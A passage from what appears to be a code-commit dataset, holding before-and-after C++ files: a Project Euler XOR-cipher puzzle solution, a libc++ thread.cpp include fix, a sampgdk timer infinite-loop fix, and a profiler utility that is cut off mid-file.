GetEqualDistanceBytes(const std::vector<uint8_t>& data,\n int start, int step) {\n std::vector<uint8_t> result;\n result.reserve((data.size() - start) \/ step);\n for (size_t i = start; i < data.size(); i += step) {\n result.push_back(data[i]);\n }\n return result;\n}\n\n#include <iostream>\n\nTASK(59) {\n auto codes = Split(ReadFileIntoString(\"data\/059_cipher.txt\"), ',');\n std::vector<uint8_t> cipher(codes.size());\n std::transform(codes.begin(), codes.end(), cipher.begin(),\n [](const std::string& s) { return std::stoi(s); });\n\n std::vector<uint8_t> key(3);\n for (int i = 0; i < 3; ++i) {\n auto transposed_data = GetEqualDistanceBytes(cipher, i, 3);\n key[i] = DetectSingleCharXor(transposed_data);\n }\n\n auto decoded_data = RepeatingKeyXor(cipher, key);\n\n return std::accumulate(decoded_data.begin(), decoded_data.end(), 0);\n}\n<commit_msg>Remove unnecessary include<commit_after>#include <algorithm>\n\n#include \"base\/common.h\"\n#include \"base\/task.h\"\n\nstatic double english_frequencies[26] = {\n 0.08167, 0.01492, 0.02782, 0.04253, 0.12702, 0.02228, 0.02015,\n 0.06094, 0.06966, 0.00153, 0.00772, 0.04025, 0.02406, 0.06749,\n 0.07507, 0.01929, 0.00095, 0.05987, 0.06327, 0.09056, 0.02758,\n 0.00978, 0.02360, 0.00150, 0.01974, 0.00074};\n\ndouble ScoreData(const std::vector<uint8_t>& input) {\n double frequences[256] = {0.0};\n for (uint8_t element : input) {\n frequences[element] += 1;\n }\n for (double& f : frequences) {\n f \/= input.size();\n }\n\n double score = 0.0;\n for (int i = 0; i < 256; ++i) {\n if ('A' <= i && i <= 'Z') {\n score += std::abs(frequences[i] - english_frequencies[i - 'A']);\n } else if ('a' <= i && i <= 'z') {\n score += std::abs(frequences[i] - english_frequencies[i - 'a']);\n } else {\n score += frequences[i];\n }\n }\n return score;\n}\n\nstd::vector<uint8_t> XorWithSingleByte(const std::vector<uint8_t>& input,\n uint8_t xor_byte) {\n std::vector<uint8_t> result(input.size());\n for (size_t i = 0; i < input.size(); ++i) {\n result[i] = input[i] ^ xor_byte;\n }\n\n return result;\n}\n\nuint8_t DetectSingleCharXor(const std::vector<uint8_t>& input) {\n int best_i = -1;\n double best_score = std::numeric_limits<double>::infinity();\n\n \/\/ From the task we know that we are looking for all lowercase letters.\n for (int i = 'a'; i <= 'z'; ++i) {\n double score = ScoreData(XorWithSingleByte(input, i));\n if (score < best_score) {\n best_score = score;\n best_i = i;\n }\n }\n\n return best_i;\n}\n\nstd::vector<uint8_t> RepeatingKeyXor(const std::vector<uint8_t>& input,\n const std::vector<uint8_t>& key) {\n std::vector<uint8_t> result(input.size());\n\n int key_index = 0;\n for (size_t i = 0; i < input.size(); ++i) {\n result[i] = input[i] ^ key[key_index];\n key_index = (key_index + 1) % key.size();\n }\n\n return result;\n}\n\nstd::vector<uint8_t> GetEqualDistanceBytes(const std::vector<uint8_t>& data,\n int start, int step) {\n std::vector<uint8_t> result;\n result.reserve((data.size() - start) \/ step);\n for (size_t i = start; i < data.size(); i += step) {\n result.push_back(data[i]);\n }\n return result;\n}\n\nTASK(59) {\n auto codes = Split(ReadFileIntoString(\"data\/059_cipher.txt\"), ',');\n std::vector<uint8_t> cipher(codes.size());\n std::transform(codes.begin(), codes.end(), cipher.begin(),\n [](const std::string& s) { return std::stoi(s); });\n\n std::vector<uint8_t> key(3);\n for (int i = 0; i < 3; ++i) {\n auto transposed_data = GetEqualDistanceBytes(cipher, i, 3);\n key[i] = DetectSingleCharXor(transposed_data);\n }\n\n auto decoded_data = RepeatingKeyXor(cipher, key);\n\n return std::accumulate(decoded_data.begin(), decoded_data.end(), 0);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===------------------------- thread.cpp----------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"__config\"\n#ifndef _LIBCPP_HAS_NO_THREADS\n\n#include \"thread\"\n#include \"exception\"\n#include \"vector\"\n#include \"future\"\n#include \"limits\"\n#include <sys\/types.h>\n\n#if defined(__unix__) || (defined(__APPLE__) && defined(__MACH__))\n# include <sys\/param.h>\n# if defined(BSD)\n# include <sys\/sysctl.h>\n# endif \/\/ defined(BSD)\n#endif \/\/ defined(__unix__) || (defined(__APPLE__) && defined(__MACH__))\n\n#if defined(__unix__) || (defined(__APPLE__) && defined(__MACH__)) || defined(__CloudABI__) || defined(__Fuchsia__)\n# include <unistd.h>\n#endif \/\/ defined(__unix__) || (defined(__APPLE__) && defined(__MACH__)) || defined(__CloudABI__) || defined(__Fuchsia__)\n\n#if defined(__NetBSD__)\n#pragma weak pthread_create \/\/ Do not create libpthread dependency\n#endif\n\n#if defined(_LIBCPP_WIN32API)\n#include <windows.h>\n#endif\n\n_LIBCPP_BEGIN_NAMESPACE_STD\n\nthread::~thread()\n{\n if (!__libcpp_thread_isnull(&__t_))\n terminate();\n}\n\nvoid\nthread::join()\n{\n int ec = EINVAL;\n if (!__libcpp_thread_isnull(&__t_))\n {\n ec = __libcpp_thread_join(&__t_);\n if (ec == 0)\n __t_ = _LIBCPP_NULL_THREAD;\n }\n\n if (ec)\n __throw_system_error(ec, \"thread::join failed\");\n}\n\nvoid\nthread::detach()\n{\n int ec = EINVAL;\n if (!__libcpp_thread_isnull(&__t_))\n {\n ec = __libcpp_thread_detach(&__t_);\n if (ec == 0)\n __t_ = _LIBCPP_NULL_THREAD;\n }\n\n if (ec)\n __throw_system_error(ec, \"thread::detach failed\");\n}\n\nunsigned\nthread::hardware_concurrency() _NOEXCEPT\n{\n#if defined(CTL_HW) && defined(HW_NCPU)\n unsigned n;\n int mib[2] = {CTL_HW, HW_NCPU};\n std::size_t s = sizeof(n);\n sysctl(mib, 2, &n, &s, 0, 0);\n return n;\n#elif defined(_SC_NPROCESSORS_ONLN)\n long result = sysconf(_SC_NPROCESSORS_ONLN);\n \/\/ sysconf returns -1 if the name is invalid, the option does not exist or\n \/\/ does not have a definite limit.\n \/\/ if sysconf returns some other negative number, we have no idea\n \/\/ what is going on. Default to something safe.\n if (result < 0)\n return 0;\n return static_cast<unsigned>(result);\n#elif defined(_LIBCPP_WIN32API)\n SYSTEM_INFO info;\n GetSystemInfo(&info);\n return info.dwNumberOfProcessors;\n#else \/\/ defined(CTL_HW) && defined(HW_NCPU)\n \/\/ TODO: grovel through \/proc or check cpuid on x86 and similar\n \/\/ instructions on other architectures.\n# if defined(_LIBCPP_WARNING)\n _LIBCPP_WARNING(\"hardware_concurrency not yet implemented\")\n# else\n# warning hardware_concurrency not yet implemented\n# endif\n return 0; \/\/ Means not computable [thread.thread.static]\n#endif \/\/ defined(CTL_HW) && defined(HW_NCPU)\n}\n\nnamespace this_thread\n{\n\nvoid\nsleep_for(const chrono::nanoseconds& ns)\n{\n if (ns > chrono::nanoseconds::zero())\n {\n __libcpp_thread_sleep_for(ns);\n }\n}\n\n} \/\/ this_thread\n\n__thread_specific_ptr<__thread_struct>&\n__thread_local_data()\n{\n static __thread_specific_ptr<__thread_struct> __p;\n return __p;\n}\n\n\/\/ __thread_struct_imp\n\ntemplate <class T>\nclass _LIBCPP_HIDDEN __hidden_allocator\n{\npublic:\n typedef T value_type;\n \n T* allocate(size_t __n)\n {return static_cast<T*>(::operator new(__n * sizeof(T)));}\n void deallocate(T* __p, size_t) {::operator delete(static_cast<void*>(__p));}\n\n size_t max_size() const {return size_t(~0) \/ sizeof(T);}\n};\n\nclass _LIBCPP_HIDDEN __thread_struct_imp\n{\n typedef vector<__assoc_sub_state*,\n __hidden_allocator<__assoc_sub_state*> > _AsyncStates;\n typedef vector<pair<condition_variable*, mutex*>,\n __hidden_allocator<pair<condition_variable*, mutex*> > > _Notify;\n\n _AsyncStates async_states_;\n _Notify notify_;\n\n __thread_struct_imp(const __thread_struct_imp&);\n __thread_struct_imp& operator=(const __thread_struct_imp&);\npublic:\n __thread_struct_imp() {}\n ~__thread_struct_imp();\n\n void notify_all_at_thread_exit(condition_variable* cv, mutex* m);\n void __make_ready_at_thread_exit(__assoc_sub_state* __s);\n};\n\n__thread_struct_imp::~__thread_struct_imp()\n{\n for (_Notify::iterator i = notify_.begin(), e = notify_.end();\n i != e; ++i)\n {\n i->second->unlock();\n i->first->notify_all();\n }\n for (_AsyncStates::iterator i = async_states_.begin(), e = async_states_.end();\n i != e; ++i)\n {\n (*i)->__make_ready();\n (*i)->__release_shared();\n }\n}\n\nvoid\n__thread_struct_imp::notify_all_at_thread_exit(condition_variable* cv, mutex* m)\n{\n notify_.push_back(pair<condition_variable*, mutex*>(cv, m));\n}\n\nvoid\n__thread_struct_imp::__make_ready_at_thread_exit(__assoc_sub_state* __s)\n{\n async_states_.push_back(__s);\n __s->__add_shared();\n}\n\n\/\/ __thread_struct\n\n__thread_struct::__thread_struct()\n : __p_(new __thread_struct_imp)\n{\n}\n\n__thread_struct::~__thread_struct()\n{\n delete __p_;\n}\n\nvoid\n__thread_struct::notify_all_at_thread_exit(condition_variable* cv, mutex* m)\n{\n __p_->notify_all_at_thread_exit(cv, m);\n}\n\nvoid\n__thread_struct::__make_ready_at_thread_exit(__assoc_sub_state* __s)\n{\n __p_->__make_ready_at_thread_exit(__s);\n}\n\n_LIBCPP_END_NAMESPACE_STD\n\n#endif \/\/ !_LIBCPP_HAS_NO_THREADS\n<commit_msg>[libcxx] GNU\/Hurd uses BSD-based interfaces, but does not (and won't) provide <sys\/sysctl.h><commit_after>\/\/===------------------------- thread.cpp----------------------------------===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"__config\"\n#ifndef _LIBCPP_HAS_NO_THREADS\n\n#include \"thread\"\n#include \"exception\"\n#include \"vector\"\n#include \"future\"\n#include \"limits\"\n#include <sys\/types.h>\n\n#if defined(__unix__) || (defined(__APPLE__) && defined(__MACH__))\n# include <sys\/param.h>\n# if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__OpenBSD__) || defined(__DragonFly__) || defined(__APPLE__)\n# include <sys\/sysctl.h>\n# endif\n#endif \/\/ defined(__unix__) || (defined(__APPLE__) && defined(__MACH__))\n\n#if defined(__unix__) || (defined(__APPLE__) && defined(__MACH__)) || defined(__CloudABI__) || defined(__Fuchsia__)\n# include <unistd.h>\n#endif \/\/ defined(__unix__) || (defined(__APPLE__) && defined(__MACH__)) || defined(__CloudABI__) || defined(__Fuchsia__)\n\n#if defined(__NetBSD__)\n#pragma weak pthread_create \/\/ Do not create libpthread dependency\n#endif\n\n#if defined(_LIBCPP_WIN32API)\n#include <windows.h>\n#endif\n\n_LIBCPP_BEGIN_NAMESPACE_STD\n\nthread::~thread()\n{\n if (!__libcpp_thread_isnull(&__t_))\n terminate();\n}\n\nvoid\nthread::join()\n{\n int ec = EINVAL;\n if (!__libcpp_thread_isnull(&__t_))\n {\n ec = __libcpp_thread_join(&__t_);\n if (ec == 0)\n __t_ = _LIBCPP_NULL_THREAD;\n }\n\n if (ec)\n __throw_system_error(ec, \"thread::join failed\");\n}\n\nvoid\nthread::detach()\n{\n int ec = EINVAL;\n if (!__libcpp_thread_isnull(&__t_))\n {\n ec = __libcpp_thread_detach(&__t_);\n if (ec == 0)\n __t_ = _LIBCPP_NULL_THREAD;\n }\n\n if (ec)\n __throw_system_error(ec, \"thread::detach failed\");\n}\n\nunsigned\nthread::hardware_concurrency() _NOEXCEPT\n{\n#if defined(CTL_HW) && defined(HW_NCPU)\n unsigned n;\n int mib[2] = {CTL_HW, HW_NCPU};\n std::size_t s = sizeof(n);\n sysctl(mib, 2, &n, &s, 0, 0);\n return n;\n#elif defined(_SC_NPROCESSORS_ONLN)\n long result = sysconf(_SC_NPROCESSORS_ONLN);\n \/\/ sysconf returns -1 if the name is invalid, the option does not exist or\n \/\/ does not have a definite limit.\n \/\/ if sysconf returns some other negative number, we have no idea\n \/\/ what is going on. Default to something safe.\n if (result < 0)\n return 0;\n return static_cast<unsigned>(result);\n#elif defined(_LIBCPP_WIN32API)\n SYSTEM_INFO info;\n GetSystemInfo(&info);\n return info.dwNumberOfProcessors;\n#else \/\/ defined(CTL_HW) && defined(HW_NCPU)\n \/\/ TODO: grovel through \/proc or check cpuid on x86 and similar\n \/\/ instructions on other architectures.\n# if defined(_LIBCPP_WARNING)\n _LIBCPP_WARNING(\"hardware_concurrency not yet implemented\")\n# else\n# warning hardware_concurrency not yet implemented\n# endif\n return 0; \/\/ Means not computable [thread.thread.static]\n#endif \/\/ defined(CTL_HW) && defined(HW_NCPU)\n}\n\nnamespace this_thread\n{\n\nvoid\nsleep_for(const chrono::nanoseconds& ns)\n{\n if (ns > chrono::nanoseconds::zero())\n {\n __libcpp_thread_sleep_for(ns);\n }\n}\n\n} \/\/ this_thread\n\n__thread_specific_ptr<__thread_struct>&\n__thread_local_data()\n{\n static __thread_specific_ptr<__thread_struct> __p;\n return __p;\n}\n\n\/\/ __thread_struct_imp\n\ntemplate <class T>\nclass _LIBCPP_HIDDEN __hidden_allocator\n{\npublic:\n typedef T value_type;\n \n T* allocate(size_t __n)\n {return static_cast<T*>(::operator new(__n * sizeof(T)));}\n void deallocate(T* __p, size_t) {::operator delete(static_cast<void*>(__p));}\n\n size_t max_size() const {return size_t(~0) \/ sizeof(T);}\n};\n\nclass _LIBCPP_HIDDEN __thread_struct_imp\n{\n typedef vector<__assoc_sub_state*,\n __hidden_allocator<__assoc_sub_state*> > _AsyncStates;\n typedef vector<pair<condition_variable*, mutex*>,\n __hidden_allocator<pair<condition_variable*, mutex*> > > _Notify;\n\n _AsyncStates async_states_;\n _Notify notify_;\n\n __thread_struct_imp(const __thread_struct_imp&);\n __thread_struct_imp& operator=(const __thread_struct_imp&);\npublic:\n __thread_struct_imp() {}\n ~__thread_struct_imp();\n\n void notify_all_at_thread_exit(condition_variable* cv, mutex* m);\n void __make_ready_at_thread_exit(__assoc_sub_state* __s);\n};\n\n__thread_struct_imp::~__thread_struct_imp()\n{\n for (_Notify::iterator i = notify_.begin(), e = notify_.end();\n i != e; ++i)\n {\n i->second->unlock();\n i->first->notify_all();\n }\n for (_AsyncStates::iterator i = async_states_.begin(), e = async_states_.end();\n i != e; ++i)\n {\n (*i)->__make_ready();\n (*i)->__release_shared();\n }\n}\n\nvoid\n__thread_struct_imp::notify_all_at_thread_exit(condition_variable* cv, mutex* m)\n{\n notify_.push_back(pair<condition_variable*, mutex*>(cv, m));\n}\n\nvoid\n__thread_struct_imp::__make_ready_at_thread_exit(__assoc_sub_state* __s)\n{\n async_states_.push_back(__s);\n __s->__add_shared();\n}\n\n\/\/ __thread_struct\n\n__thread_struct::__thread_struct()\n : __p_(new __thread_struct_imp)\n{\n}\n\n__thread_struct::~__thread_struct()\n{\n delete __p_;\n}\n\nvoid\n__thread_struct::notify_all_at_thread_exit(condition_variable* cv, mutex* m)\n{\n __p_->notify_all_at_thread_exit(cv, m);\n}\n\nvoid\n__thread_struct::__make_ready_at_thread_exit(__assoc_sub_state* __s)\n{\n __p_->__make_ready_at_thread_exit(__s);\n}\n\n_LIBCPP_END_NAMESPACE_STD\n\n#endif \/\/ !_LIBCPP_HAS_NO_THREADS\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 Zeex\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <sampgdk\/config.h>\n#include <sampgdk\/export.h>\n#include <sampgdk\/samp.h>\n\n#include <set>\n#include <vector>\n\n#include \"timers.h\"\n\nstd::vector<Timer*> Timer::timers_;\n\nTimer::Timer(int interval, bool repeat, TimerHandler hander, void *param) \n\t: interval_(interval)\n\t, repeating_(repeat)\n\t, handler_(hander)\n\t, param_(param)\n\t, startTime_(GetServerTickCount())\n{\n}\n\nTimer::~Timer() {\n}\n\nvoid Timer::Fire(int elapsedTime) {\n\tsize_t timerid = 0;\n\twhile (timerid < timers_.size()) {\n\t\tif (timers_[timerid] == this) {\n\t\t\tbreak;\n\t\t}\n\t}\n\thandler_(timerid, param_);\n\tif (repeating_) {\n\t\tstartTime_ = GetServerTickCount() - (elapsedTime - interval_);\n\t}\n}\n\nint Timer::CreateTimer(int interval, bool repeat, TimerHandler handler, void *param) {\n\tTimer *timer = new Timer(interval, repeat, handler, param);\n\tsize_t timerid = 0;\n\twhile (timerid < timers_.size()) {\n\t\tif (timers_[timerid] == 0) {\n\t\t\ttimers_[timerid] = timer;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (timerid == timers_.size()) {\n\t\ttimers_.push_back(timer);\n\t}\n\treturn timerid;\n}\n\nbool Timer::DestroyTimer(int timerid) {\n\tif (timerid < 0 || timerid >= static_cast<int>(timers_.size())) {\n\t\treturn false;\n\t}\n\n\tTimer *timer = timers_[timerid];\n\tdelete timer;\n\n\tif (timerid == timers_.size()) {\n\t\ttimers_.pop_back();\n\t} else {\n\t\ttimers_[timerid] = 0;\n\t}\n\n\treturn true;\n}\n\nvoid Timer::ProcessTimers() {\n\tint time = GetServerTickCount();\n\tfor (size_t i = 0; i < timers_.size(); ++i) {\n\t\tTimer *timer = timers_[i];\n\t\tint elapsedTime = time - timer->GetStartTime();\n\t\tif (elapsedTime >= timer->GetInterval()) {\n\t\t\ttimer->Fire(elapsedTime);\n\t\t\tif (!timer->IsRepeating()) {\n\t\t\t\tDestroyTimer(i);\n\t\t\t}\n\t\t}\n\t}\n}\n\nSAMPGDK_EXPORT void SAMPGDK_CALL sampgdk_process_timers() {\n\tTimer::ProcessTimers();\n}\n\nSAMPGDK_EXPORT int SAMPGDK_CALL CreateTimer(int interval, bool repeat, TimerHandler handler, void *param) {\n\treturn Timer::CreateTimer(interval, repeat, handler, param);\n}\n\nSAMPGDK_EXPORT bool SAMPGDK_CALL DestroyTimer(int timerid) {\n\treturn Timer::DestroyTimer(timerid);\n}\n<commit_msg>Fix infinite loop in CreateTimer and Timer::Fire<commit_after>\/\/ Copyright (c) 2011 Zeex\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include <sampgdk\/config.h>\n#include <sampgdk\/export.h>\n#include <sampgdk\/samp.h>\n\n#include <set>\n#include <vector>\n\n#include \"timers.h\"\n\nstd::vector<Timer*> Timer::timers_;\n\nTimer::Timer(int interval, bool repeat, TimerHandler hander, void *param) \n\t: interval_(interval)\n\t, repeating_(repeat)\n\t, handler_(hander)\n\t, param_(param)\n\t, startTime_(GetServerTickCount())\n{\n}\n\nTimer::~Timer() {\n}\n\nvoid Timer::Fire(int elapsedTime) {\n\tsize_t timerid = 0;\n\twhile (timerid < timers_.size()) {\n\t\tif (timers_[timerid] == this) {\n\t\t\tbreak;\n\t\t}\n\t\t++timerid;\n\t}\n\thandler_(timerid, param_);\n\tif (repeating_) {\n\t\tstartTime_ = GetServerTickCount() - (elapsedTime - interval_);\n\t}\n}\n\nint Timer::CreateTimer(int interval, bool repeat, TimerHandler handler, void *param) {\n\tTimer *timer = new Timer(interval, repeat, handler, param);\n\tsize_t timerid = 0;\n\twhile (timerid < timers_.size()) {\n\t\tif (timers_[timerid] == 0) {\n\t\t\ttimers_[timerid] = timer;\n\t\t\tbreak;\n\t\t}\n\t\t++timerid;\n\t}\n\tif (timerid == timers_.size()) {\n\t\ttimers_.push_back(timer);\n\t}\n\treturn timerid;\n}\n\nbool Timer::DestroyTimer(int timerid) {\n\tif (timerid < 0 || timerid >= static_cast<int>(timers_.size())) {\n\t\treturn false;\n\t}\n\n\tTimer *timer = timers_[timerid];\n\tdelete timer;\n\n\tif (timerid == timers_.size()) {\n\t\ttimers_.pop_back();\n\t} else {\n\t\ttimers_[timerid] = 0;\n\t}\n\n\treturn true;\n}\n\nvoid Timer::ProcessTimers() {\n\tint time = GetServerTickCount();\n\tfor (size_t i = 0; i < timers_.size(); ++i) {\n\t\tTimer *timer = timers_[i];\n\t\tint elapsedTime = time - timer->GetStartTime();\n\t\tif (elapsedTime >= timer->GetInterval()) {\n\t\t\ttimer->Fire(elapsedTime);\n\t\t\tif (!timer->IsRepeating()) {\n\t\t\t\tDestroyTimer(i);\n\t\t\t}\n\t\t}\n\t}\n}\n\nSAMPGDK_EXPORT void SAMPGDK_CALL sampgdk_process_timers() {\n\tTimer::ProcessTimers();\n}\n\nSAMPGDK_EXPORT int SAMPGDK_CALL CreateTimer(int interval, bool repeat, TimerHandler handler, void *param) {\n\treturn Timer::CreateTimer(interval, repeat, handler, param);\n}\n\nSAMPGDK_EXPORT bool SAMPGDK_CALL DestroyTimer(int timerid) {\n\treturn Timer::DestroyTimer(timerid);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"arc_utilities\/timing.hpp\"\n#include <iostream>\n#include <cassert>\n#include <algorithm>\n#include <cstdio>\n\nusing namespace arc_utilities;\n\ndouble GlobalStopwatch(const StopwatchControl control)\n{\n static Stopwatch global_stopwatch;\n return global_stopwatch(control);\n}\n\n\n\n\nProfiler* Profiler::m_instance = NULL;\n\nProfiler* Profiler::getInstance()\n{\n if (m_instance == NULL)\n {\n m_instance = new Profiler();\n }\n return m_instance;\n}\n\nvoid Profiler::reset_and_preallocate(size_t num_names, size_t num_events)\n{\n Profiler* monitor = getInstance();\n monitor->data.clear();\n monitor->prealloc_buffer.resize(num_names);\n for (size_t i=0; i<num_names; i++)\n {\n monitor->prealloc_buffer[i].reserve(num_events);\n }\n}\n\nvoid Profiler::reset(std::string name)\n{\n Profiler* m = getInstance();\n if(m->data.find(name) != m->data.end())\n {\n m->data[name].resize(0);\n startTimer(name);\n }\n \n}\n\nvoid Profiler::addData(std::string name, double datum)\n{\n Profiler* m = getInstance();\n if (m->data.find(name) == m->data.end())\n {\n m->data[name] = std::vector<double>();\n if (m->prealloc_buffer.size() > 0)\n {\n m->data[name].swap(m->prealloc_buffer.back());\n m->prealloc_buffer.pop_back();\n }\n }\n m->data[name].push_back(datum);\n}\n\n\nvoid Profiler::startTimer(std::string timer_name)\n{\n Profiler* m = getInstance();\n if (m->timers.find(timer_name) == m->timers.end())\n {\n m->timers[timer_name] = Stopwatch();\n }\n m->timers[timer_name](RESET);\n}\n\n\ndouble Profiler::record(std::string timer_name)\n{\n Profiler* m = getInstance();\n if (m->timers.find(timer_name) == m->timers.end())\n {\n std::cout << \"Attempting to record timer \\\"\"<< timer_name <<\n \"\\\" before timer started\\n\";\n assert(false);\n }\n double time_elapsed = m->timers[timer_name]();\n m->addData(timer_name, time_elapsed);\n return time_elapsed;\n}\n\nstd::vector<double> Profiler::getData(std::string name)\n{\n Profiler* m = getInstance();\n return m->data[name];\n}\n\n\nvoid Profiler::printSingleSummary(std::string name)\n{\n Profiler* m = getInstance();\n std::string box = std::string(2+name.length(), '=');\n std::cout << \" .\" << box << \". \" << \"\\n\";\n std::cout << \"|| \" << name << \" || Summary :\\n\";\n std::cout << \" '\" << box << \"' \" << \"\\n\";\n if (m->data.find(name) == m->data.end())\n {\n std::cout << name << \" never called\\n\\n\";\n return;\n }\n\n std::vector<double> data = m->getData(name);\n\n size_t n = data.size();\n double sum = 0;\n for(auto& num : data)\n {\n sum += num;\n }\n\n std::cout << \"total time : \" << sum << \" s\\n\";\n std::cout << \"called \" << n << \" times\\n\";\n std::cout << \"min time : \" << *std::min_element(data.begin(), data.end()) << \"s\\n\";\n std::cout << \"max time : \" << *std::max_element(data.begin(), data.end()) << \"s\\n\";\n std::cout << \"average : \" << sum\/(double)n << \"s\\n\";\n \n std::cout << \"\\n\";\n}\n\nvoid Profiler::printGroupSummary(const std::vector<std::string> &names)\n{\n\n Profiler* m = getInstance();\n std::cout << \" .=======================. \\n\";\n std::cout << \"|| Profile Summary ||\\n\";\n std::cout << \" '=======================' \\n\";\n\n\n std::size_t label_len = max_element(names.begin(), names.end(),\n [] (const std::string &a, const std::string &b)\n {return a.length() < b.length();}) -> length() + 2;\n\n label_len = std::max(label_len, (size_t)8);\n\n const std::string label_format = (\"%-\" + std::to_string(label_len) + \"s\");\n \n printf(label_format.c_str(), \"Label\");\n printf(\"%16s\", \"tot time (s)\");\n printf(\"%16s\", \"num_calls\");\n printf(\"%16s\", \"avg time (s)\");\n printf(\"\\n\");\n\n std::string seperator = std::string(label_len-2, '~') + \" \" + std::string(12, '.')\n + \" \" + std::string(9, '~') + \" \" + std::string(12, '.');\n\n for(const auto& name: names)\n {\n if(name.find(\"~~~~~\")==0)\n {\n\n printf(\"%s\\n\", seperator.c_str());\n continue;\n }\n printf(label_format.c_str(), name.c_str());\n double tot_time = 0.0;\n double avg_time = 0.0;\n size_t num_calls = 0;\n if(m->data.find(name) != m->data.end())\n {\n std::vector<double> &data = m->data[name];\n tot_time = 0;\n for(auto& val : data)\n {\n tot_time += val;\n }\n num_calls = data.size();\n avg_time = tot_time\/(double)num_calls;\n }\n printf(\" %15f %15ld %15f\\n\", tot_time, num_calls, avg_time);\n }\n}\n\nvoid Profiler::writeGroupSummary(const std::string &filename,\n const std::vector<std::string> &names)\n{\n FILE * outfile;\n outfile = std::fopen(filename.c_str(), \"a\");\n \n Profiler* m = getInstance();\n \/\/ std::cout << \" .=======================. \\n\";\n \/\/ std::cout << \"|| Profile Summary ||\\n\";\n \/\/ std::cout << \" '=======================' \\n\";\n\n\n std::size_t label_len = max_element(names.begin(), names.end(),\n [] (const std::string &a, const std::string &b)\n {return a.length() < b.length();}) -> length() + 2;\n\n label_len = std::max(label_len, (size_t)8);\n\n const std::string label_format = (\"%-\" + std::to_string(label_len) + \"s\");\n \n fprintf(outfile, label_format.c_str(), \"Label\");\n fprintf(outfile, \"%16s\", \"tot time (s)\");\n fprintf(outfile, \"%16s\", \"num_calls\");\n fprintf(outfile, \"%16s\", \"avg time (s)\");\n fprintf(outfile, \"\\n\");\n\n std::string seperator = std::string(label_len-2, '~') + \" \" + std::string(12, '.')\n + \" \" + std::string(9, '~') + \" \" + std::string(12, '.');\n\n for(const auto& name: names)\n {\n if(name.find(\"~~~~~\")==0)\n {\n\n fprintf(outfile, \"%s\\n\", seperator.c_str());\n continue;\n }\n fprintf(outfile, label_format.c_str(), name.c_str());\n double tot_time = 0.0;\n double avg_time = 0.0;\n size_t num_calls = 0;\n if(m->data.find(name) != m->data.end())\n {\n std::vector<double> &data = m->data[name];\n tot_time = 0;\n for(auto& val : data)\n {\n tot_time += val;\n }\n num_calls = data.size();\n avg_time = tot_time\/(double)num_calls;\n }\n fprintf(outfile, \" %15f %15ld %15f\\n\", tot_time, num_calls, avg_time);\n \n }\n std::fclose(outfile);\n\n}\n<commit_msg>Create file if it does not exist<commit_after>#include \"arc_utilities\/timing.hpp\"\n#include <iostream>\n#include <cassert>\n#include <algorithm>\n#include <cstdio>\n\nusing namespace arc_utilities;\n\ndouble GlobalStopwatch(const StopwatchControl control)\n{\n static Stopwatch global_stopwatch;\n return global_stopwatch(control);\n}\n\n\n\n\nProfiler* Profiler::m_instance = NULL;\n\nProfiler* Profiler::getInstance()\n{\n if (m_instance == NULL)\n {\n m_instance = new Profiler();\n }\n return m_instance;\n}\n\nvoid Profiler::reset_and_preallocate(size_t num_names, size_t num_events)\n{\n Profiler* monitor = getInstance();\n monitor->data.clear();\n monitor->prealloc_buffer.resize(num_names);\n for (size_t i=0; i<num_names; i++)\n {\n monitor->prealloc_buffer[i].reserve(num_events);\n }\n}\n\nvoid Profiler::reset(std::string name)\n{\n Profiler* m = getInstance();\n if(m->data.find(name) != m->data.end())\n {\n m->data[name].resize(0);\n startTimer(name);\n }\n \n}\n\nvoid Profiler::addData(std::string name, double datum)\n{\n Profiler* m = getInstance();\n if (m->data.find(name) == m->data.end())\n {\n m->data[name] = std::vector<double>();\n if (m->prealloc_buffer.size() > 0)\n {\n m->data[name].swap(m->prealloc_buffer.back());\n m->prealloc_buffer.pop_back();\n }\n }\n m->data[name].push_back(datum);\n}\n\n\nvoid Profiler::startTimer(std::string timer_name)\n{\n Profiler* m = getInstance();\n if (m->timers.find(timer_name) == m->timers.end())\n {\n m->timers[timer_name] = Stopwatch();\n }\n m->timers[timer_name](RESET);\n}\n\n\ndouble Profiler::record(std::string timer_name)\n{\n Profiler* m = getInstance();\n if (m->timers.find(timer_name) == m->timers.end())\n {\n std::cout << \"Attempting to record timer \\\"\"<< timer_name <<\n \"\\\" before timer started\\n\";\n assert(false);\n }\n double time_elapsed = m->timers[timer_name]();\n m->addData(timer_name, time_elapsed);\n return time_elapsed;\n}\n\nstd::vector<double> Profiler::getData(std::string name)\n{\n Profiler* m = getInstance();\n return m->data[name];\n}\n\n\nvoid Profiler::printSingleSummary(std::string name)\n{\n Profiler* m = getInstance();\n std::string box = std::string(2+name.length(), '=');\n std::cout << \" .\" << box << \". \" << 